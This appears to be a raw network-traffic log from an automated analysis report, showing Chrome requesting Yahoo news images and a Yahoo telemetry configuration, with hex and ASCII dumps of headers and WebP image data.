2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 65 78 70 43 6f 75 6e 74 22 3a 35 2c 0a 20 20 20 20 22 73 65 6c 65 63 74 69 6f 6e 22 3a 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 0a 20 20 20 20 22 75 70 6c 6f 61 64 54 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 0a 20 20 20 20 22 72 75 6e 50 72 6f 62 22 3a 31 30 2c 0a 20 20 20 20 22 65 78 70 4c 69 73 74 22 3a 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 76 70 69 78 69 65 61 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 76 2d 28 5b 5e 2e 5d 2a 29 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 5c 2f 69 2e 67 69 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 61 72 67 65 74 22 3a 22 68 74 74 70 73 3a 2f 2f 76 2d Data Ascii: { "expCount":5, "selection":"individual", "uploadType":"group", "runProb":10, "expList":[ { "name":"vpixiea", "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/i.gif", "target":"https://v-
2024-04-27 22:41:55 UTC	484	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 22 75 70 6c 6f 61 64 45 6e 64 70 6f 69 6e 74 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 79 62 61 72 2d 6d 63 64 6e 2d 72 65 70 6f 72 74 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 2f 63 73 2f 22 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 69 6d 65 6f 75 74 22 3a 35 30 30 30 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 79 63 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 63 65 72 65 62 72 6f 2e 65 64 6e 61 2e 79 61 68 6f 6f 2e 6e 65 74 5c 2f 6e 6f 71 75 65 72 79 5c 2f 70 69 78 65 6c 2e 67 69 66 5b 3f 5d 72 61 6e 64 3d 28 2e 2a 29 22 2c 0a 20 20 20 20 20 20 Data Ascii: "uploadEndpoints":["https://ybar-mcdn-report.wc.yahoodns.net/cs/"], "timeout":5000 }, { "name":"ycs", "beaconRegex":"^https:\/\/cerebro.edna.yahoo.net\/noquery\/pixel.gif[?]rand=(.*)",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49896	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	750	OUT	GET /uu/api/res/1.2/2yghjbKRjDThM2qwTZX.zQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/04271874beb49d28a98b07ab57abeeca.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	1297	IN	HTTP/1.1 200 OK Content-Length: 33262 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 399571629113996710157346708764107397296,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="04271874beb49d28a98b07ab57abeeca.webp" Edge-Cache-Tag: 399571629113996710157346708764107397296,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "b2591d2700b802cad08c244c370296b5" Last-Modified: Sat, 27 Apr 2024 15:32:10 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=33262,owidth=960,oheight=540,obytes=120768,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: d319f5a6f2ba30475d7b8c444af690fd Accept-Ranges: bytes Date: Sat, 27 Apr 2024 15:32:25 GMT X-Served-By: cache-iad-kjyo7100039-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714231945.467858,VS0,VE1 Age: 25770 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: d319f5a6f2ba30475d7b8c444af690fd cld_by: cache-iad-kjyo7100039-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:55 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 52 49 46 46 e6 81 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 17 02 00 1b 01 00 49 43 43 50 48 0c 00 00 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: RIFFWEBPVP8X ICCPHHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 01 e1 01 e9 01 f2 01 fa 02 03 02 0c 02 14 02 1d 02 26 02 2f 02 38 02 41 02 4b 02 54 02 5d 02 67 02 71 02 7a 02 84 02 8e 02 98 02 a2 02 ac 02 b6 02 c1 02 cb 02 d5 02 e0 02 eb 02 f5 03 00 03 0b 03 16 03 21 03 2d 03 38 03 43 03 4f 03 5a 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 Data Ascii: &/8AKT]gqz!-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac Data Ascii: xy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$hBd@iG&vV8nR7u\
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: c9 f2 cd 5f 7f c1 9c e9 39 a8 3c 08 f1 e0 d5 d6 ff 1d 08 bb b5 c4 54 88 ae c9 39 86 55 72 9d 42 f3 bc ed d8 93 4e 69 36 e1 31 b7 24 d9 e8 89 bb 38 5a 22 04 10 6d 8a d0 76 41 dd 64 4c 7b 67 ab 26 3d 6a 3a 3b c7 6b b7 96 f6 60 a2 9d 1c 3b 5b ce 68 e0 e2 19 f5 2a d1 a1 e6 eb 18 9c 2f fe 63 de 1a 0f 48 22 c0 e2 4e ee eb 94 f8 74 8f c8 8f 8c ce 85 4e d4 80 a6 1a 26 72 b2 47 d4 91 98 84 bf 43 38 18 52 2d 11 11 72 b1 cd 56 7c 7c b0 56 64 95 de 5d 82 71 cc 40 fb a3 3f ee 9d 3f 6f bf c1 1c 50 b4 26 6f 7f ec bf 0b f0 71 cb c5 2e cd 5f 28 8b 54 b9 30 e9 0c 98 fb 59 25 9b de d9 46 0b 5e 1d 34 73 eb c8 fc ea ae 20 d1 d3 f2 33 4a 7b 06 06 14 07 23 7b 4c 2e 80 56 28 00 5a 2b e8 a3 28 ce 8f d8 ed 3b 04 57 45 3a 5e cd 18 46 f6 da 3e 04 1b fe e9 72 9d 4e 66 85 f2 40 fe 35 Data Ascii: _9<T9UrBNi61$8Z"mvAdL{g&=j:;k`;[h*/cH"NtN&rGC8R-rV\|\|Vd]q@??oP&oq._(T0Y%F^4s 3J{#{L.V(Z+(;WE:^F>rNf@5
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 40 11 73 fb d3 25 60 3e 93 df 76 63 3c 26 9c 22 dc 3e 94 36 b1 18 9f 43 51 c8 95 fe a8 c7 83 67 2e a9 fe 56 9c 18 0a 7a d4 43 e7 b2 b2 75 fb c2 5a b6 5d 20 69 02 78 dc ab b2 3e bc a3 7e 7a a6 a0 8c a6 e3 30 d8 d2 39 52 02 15 4b 77 de 26 54 73 60 5c 22 0b 95 85 bf fa 36 df 2a fa ce 94 3e 20 9f 38 db cc a5 2e 8f ca d9 db 29 ea cc 75 aa 8f 12 69 69 dd 39 81 7d 32 b2 cb c7 ff 67 63 4a 62 31 c4 bd 2d f7 ab 54 8e 80 4a f1 49 a5 47 b3 75 f1 1a 4b 9e c3 55 dd a1 0b e3 5f 11 1d 4d 91 9b 8c e5 f0 fd a7 cd 0a 84 51 75 7c a5 f6 cb 4b d4 0e 17 a6 6d d7 41 89 99 0c 90 5f 30 f0 59 db 23 bb 28 f3 8d c5 bb a0 5b 41 ea b0 a5 d3 40 33 f3 a8 d7 99 21 fa 73 b2 b1 d4 71 66 7a 72 87 f8 3b cd f1 42 6c fb e3 fa 74 3c 48 7b 7a ed 94 92 e2 3c 9a 8b 1b 7b 07 1b 89 9e a0 4d b1 d0 84 Data Ascii: @s%`>vc<&">6CQg.VzCuZ] ix>~z09RKw&Ts`\"6*> 8.)uii9}2gcJb1-TJIGuKU_MQu\|KmA_0Y#([A@3!sqfzr;Blt<H{z<{M
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 6a 6a d7 0a 23 33 29 d3 ec 93 23 00 9a 5c 09 9e 0d 97 bd 82 98 ad 6c 07 80 9b 98 73 3b b6 07 93 dd ef 57 2b 9d 31 44 e8 4a 6f 8b d9 8d 6b ea f8 0f b1 7b 02 43 3d d6 6f ef 2d 51 a6 c7 a9 ac 6a cc f7 23 f3 f5 32 01 bf 9e 43 62 32 5e 58 04 b9 a1 9a b4 f2 6b c0 8d 68 5c 42 f9 a8 1c 31 d4 0d 38 e5 18 4e 01 6c 74 8d e3 ff 73 b0 1e 46 65 02 ce b2 2a 5f bf 71 93 93 3a fb 0e 30 97 19 9f 67 92 8c a7 2c 4a 6e ae 04 bd 23 90 af d7 0b 31 27 60 de 39 4b cd 36 09 48 58 6a ec 93 ca 23 5b 1b c0 3c 26 71 72 21 34 e8 50 04 fa 88 77 49 ba f0 5b b5 4a d9 39 02 0f 98 18 13 82 4f 69 9a ce 1d 13 1d 8a 2b 1f ab 85 11 b6 13 45 10 17 37 61 54 0a 87 3a c5 40 88 e7 24 02 1e 82 41 7f ce c6 9a 28 57 a5 ec 59 d4 74 89 12 26 d9 8e 7a 29 67 0e f0 a8 c6 d6 56 bd c7 b1 d2 b6 18 bc 6d a6 9f Data Ascii: jj#3)#\ls;W+1DJok{C=o-Qj#2Cb2^Xkh\B18NltsFe*_q:0g,Jn#1'`9K6HXj#[<&qr!4PwI[J9Oi+E7aT:@$A(WYt&z)gVm
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 03 f7 de 7f 41 8e 24 01 53 ea 9b eb 7f 85 d5 32 b2 79 30 3f db 99 0d 67 3d 70 23 0b 43 0f 2c 32 4c a2 05 0a 65 29 b6 0d 10 d6 17 37 52 3f ce 98 5d a4 05 1e a2 09 d2 15 54 c4 86 54 94 a5 a2 65 d6 35 d8 9e 80 3f 90 42 9b d8 73 02 24 21 d7 ef 17 11 2c 36 ca 0a 1b fe 05 75 8d b0 b2 d4 02 81 4b 75 19 f5 0e 44 80 9d ed 92 d2 72 3f 6d cb 60 3d 2c 69 96 00 c9 d0 ee 00 5e e2 1b ee 3a 5f 74 ce 46 50 1c 6f 4b 50 a4 94 4e fa 28 6d 5d df b3 7f 78 83 00 fa ce b5 46 ef eb 32 ce aa db e8 9e f1 b7 32 17 b2 d7 32 00 21 a2 aa 30 07 b5 11 32 ef 52 91 5e 20 0c b2 37 f3 73 8e 2b 13 d4 fc 1f 77 37 93 9a 7f 35 22 1a b9 22 fd 04 1c 7a c3 a7 c0 87 1b ea 42 32 95 bf a1 29 f2 2f 94 75 9c 54 3f 08 3f 1e 38 10 57 6c 28 e1 20 5a f2 1b 4c 1f b3 fd 8e ea 96 c2 31 64 c3 ee 59 c8 a7 04 4b Data Ascii: A$S2y0?g=p#C,2Le)7R?]TTe5?Bs$!,6uKuDr?m`=,i^:_tFPoKPN(m]xF222!02R^ 7s+w75""zB2)/uT??8Wl( ZL1dYK
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 17 4a 20 6e 40 e5 fc d5 ec 96 6c d7 18 95 f3 ac e6 74 e2 78 92 03 eb c8 89 61 79 88 e4 6c 84 04 21 8e 3b ca c1 42 73 c3 74 31 1c 9c d6 75 26 60 2f 7b 33 43 e3 8f 8a 3f 17 2a 05 cc 00 e0 c8 09 6c 64 5f 5f 8d 5d a0 65 63 9f 62 fe c3 ec 93 bb ee 1b 81 d7 32 9e 96 98 02 06 ea 25 e2 0f a3 15 39 22 09 95 33 d5 70 cc 0a 76 27 73 55 7c e1 9a 9d cb 52 f9 32 5a 79 09 24 f9 a1 ab f6 21 27 e1 cf d2 32 ba 8e b0 81 6c 0a af a0 0f 44 f2 c8 a4 ee e4 56 9c 8a a8 40 9b b6 02 5c 5f cf 04 19 51 1b 84 a4 05 1f b9 07 83 db 20 dd b0 71 80 f4 b2 2e a9 61 bb 72 35 a1 5c 9e d4 5b fb 6b d2 ff 23 2e 7d e0 c1 ad c8 e4 2f 58 25 2e 60 a2 29 4e fa 2b 46 c4 ba 3d e1 b7 3e 14 67 69 5f f0 2d 3d 0e 16 90 da b3 bf 7c da 51 ba 0a 2b 49 c1 0c a1 8f f8 f9 a9 78 f8 8c 17 01 3c 57 58 8c 71 60 f2 Data Ascii: J n@ltxayl!;Bst1u&`/{3C?*ld__]ecb2%9"3pv'sU\|R2Zy$!'2lDV@\_Q q.ar5\[k#.}/X%.`)N+F=>gi_-=\|Q+Ix<WXq`
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 7b 9e 2f 04 d3 3f 34 2e 05 bb 4c 11 7c b2 33 41 8b 84 bd 25 9b 47 50 ae de f3 fd ca 58 e8 6b 39 95 38 19 47 c8 d4 4e 4a 07 b3 70 79 d4 3e 6a b9 46 e2 2a b7 55 f0 a2 e5 82 6e cd 53 c2 54 8d 48 72 54 2e 7a 51 05 dd b6 f1 13 5f 24 38 fb b5 50 ed 4c a4 e1 e4 8b 49 20 75 11 44 0f af a0 ac b9 9d b8 c8 7d 73 2f 2a 10 b6 3e a6 a8 f6 3d 50 7b 86 6a 8f dc 09 7a f2 85 70 9a 42 5e d3 30 46 00 68 22 92 ff fe b5 bc 42 ec 3d 85 fe 65 9c 5e e7 32 18 0d 90 7e e4 9f 24 be 0d 9b 91 d3 7c ff 5f 3f 7c 05 60 c1 66 eb 1a c4 a8 8a 02 0e 63 38 d5 9d d0 74 71 00 44 62 6c d1 83 4e 23 34 c1 1f 39 18 cd 3b a5 e9 b5 93 c4 60 c4 6d 1f 11 b4 50 d5 49 d4 5e af 65 c9 36 4d 4f 3d df 88 2c 05 b8 cf 3b 21 2d 0a ca 72 4a 26 a0 04 86 a4 bc dd fc 65 4e 63 61 a3 36 9c 96 9e d2 ce 25 4a 2e 27 87 Data Ascii: {/?4.L\|3A%GPXk98GNJpy>jFUnSTHrT.zQ_$8PLI uD}s/>=P{jzpB^0Fh"B=e^2~$\|_?\|`fc8tqDblN#49;`mPI^e6MO=,;!-rJ&eNca6%J.'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49887	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	740	OUT	GET /uu/api/res/1.2/4u3T0U1pgURnOM.6ttN8YQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	1269	IN	HTTP/1.1 200 OK Content-Length: 16236 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 406672426937753103121406018179598799465,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="80581492448034925ad4c55dda24d99b.webp" Edge-Cache-Tag: 406672426937753103121406018179598799465,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "c6c0f44bbc835a4878ea9703828b4cd9" Last-Modified: Sat, 27 Apr 2024 21:24:37 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=16236,owidth=5180,oheight=3454,obytes=4355120,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: f712ffef5fe4af49e4b5b47e0fa96a9b Accept-Ranges: bytes Date: Sat, 27 Apr 2024 21:24:57 GMT X-Served-By: cache-iad-kiad7000098-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714253096.933788,VS0,VE1114 Age: 4620 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-04-27 22:41:55 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 52 49 46 46 64 3f 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 17 02 00 1b 01 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFFd?WEBPVP8X ICCP00ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: cd ae 36 05 76 90 d7 b0 0c 04 98 ce 09 71 59 81 75 eb 5b cc ff fd 32 e6 27 de e3 73 7f e1 46 2a 79 f8 cd ea 96 a7 06 e7 bb b2 da 8c 7a 39 44 0f 5a 2a fc 39 70 e9 c1 93 12 57 6f 79 07 08 33 68 7a 8d 80 f3 c7 b5 7d 2e a7 0f 07 bb 67 12 98 0c f9 3f 95 ac 54 f4 47 30 6c 54 21 61 d8 18 f1 bb ce 10 60 c4 2c 14 94 18 fa 5b de 1c 99 f2 5d e3 fa fa 76 11 55 39 9c 1d f4 12 eb 42 0e 2d 5d ae a8 ab 38 a6 88 36 4f 7c 41 d5 61 5a a9 d9 e6 bb b3 8e c8 bd 97 69 bc 68 8e b8 45 f1 f0 14 55 3f 2f 01 55 af bf 2f 3e 40 84 ef 52 2c 00 e5 a3 d7 55 20 cf d4 df 1a b8 0e fc e2 f2 e7 7e 8e c2 d0 92 69 6d da 64 74 6d 77 2f 92 73 fd 6e 15 db 61 d7 07 3d b1 43 7a e9 d8 a5 9c b8 b8 05 93 fd 7b e2 85 20 6d 91 10 50 ad 6a 8f d3 7f fc 72 d6 ef 6f bb 13 16 eb 07 6a 03 e1 66 ed cd 2e 6e 61 Data Ascii: 6vqYu[2'sFyz9DZ9pWoy3hz}.g?TG0lT!a`,[]vU9B-]86O\|AaZihEU?/U/>@R,U ~imdtmw/sna=Cz{ mPjrojf.na
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 7e 63 43 1c 65 d0 ca 0b 7f 85 5a bb 53 af e5 d9 93 ce 14 57 4e b9 71 b2 4d 54 8d 84 35 59 d8 dd 2b db e1 88 ee 54 3c 16 e4 00 d8 3f 5b 37 ff fe a1 57 3a c8 43 f7 cb f6 74 82 d4 5f 00 8c 99 e2 48 27 4c 60 6a 3f a8 f6 60 16 57 b6 76 2d ad 6b cc 6a a6 de a3 76 e0 f3 2d 40 e1 51 aa e2 9e 5a c8 6f 1a 7d a9 f0 f3 a7 c5 99 5c bd fd 7a 9b ac 7d 4a 80 78 16 53 a2 0b d1 1f a4 49 9c 29 32 07 0e 5c 54 a8 d9 9d 31 1f 29 37 c8 1f 5c d9 d4 8f e8 15 f4 b8 58 d0 ab e5 4c 01 4b 6c 0f 2c 94 d3 1a 61 46 1c 4b 47 c7 a1 77 99 76 1d b4 3c d8 6e 25 06 e8 62 60 da 62 a3 1e 25 c1 4f 72 d1 5f cb ed 30 f7 fc 20 cd b1 4c 5c f5 8a 32 3d 10 06 cb d9 a1 6f df 7d af 36 5b 6c 80 e1 dc 02 d3 4d 26 89 52 42 a2 29 ad 3c 59 93 58 3e 13 ac ed 81 d9 ba 2a 59 b6 f3 74 54 65 21 45 84 63 5b bc a1 Data Ascii: ~cCeZSWNqMT5Y+T<?[7W:Ct_H'L`j?`Wv-kjv-@QZo}\z}JxSI)2\T1)7\XLKl,aFKGwv<n%b`b%Or_0 L\2=o}6[lM&RB)<YX>*YtTe!Ec[
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 96 a3 8c 78 53 16 24 c6 f2 0f da 34 41 7d a8 3c b2 4e 54 77 8b a7 83 3c 30 64 f8 90 c1 44 16 fe 39 cb 39 2a c7 90 dc dd b1 4f 06 dd 88 25 f9 35 14 5a 46 f7 36 14 20 cd 44 d1 d4 2a c8 9c 98 df 24 06 bc a0 a8 61 a2 26 a1 52 a8 37 46 b7 70 31 8b 4b 07 7e a4 7c 57 c4 e4 79 69 1a c5 7c 4a 47 2a 93 ae 50 a3 36 93 da ce 79 9e 76 e6 b3 c9 38 40 e7 5b b3 e8 1e 72 bd 30 6f 16 de e8 f3 5c dc c9 bc cd 71 1f cd 76 0c 48 df dd 8d c2 73 ec 34 43 89 18 53 93 bf 48 f8 0e b8 da dc 84 d2 0c e9 19 db a7 25 27 b7 ef b4 c7 1a 9a 59 97 02 f8 7e 52 fe 26 bf 4c 69 4a c4 e2 20 85 fb 53 e1 a1 a6 e3 6c 4e 28 4b ad c3 ec 01 de bd e9 63 f7 07 08 5d fb f0 d6 6a c5 aa 91 0c cd 1e e9 c5 8f c5 e1 a7 11 10 b2 20 d5 f8 e9 08 51 d7 b2 e0 5d ea 8a 39 49 2d 70 4a ae 27 a3 a7 db c2 48 6e ab 7b Data Ascii: xS$4A}<NTw<0dD99O%5ZF6 D$a&R7Fp1K~\|Wyi\|JG*P6yv8@[r0o\qvHs4CSH%'Y~R&LiJ SlN(Kc]j Q]9I-pJ'Hn{
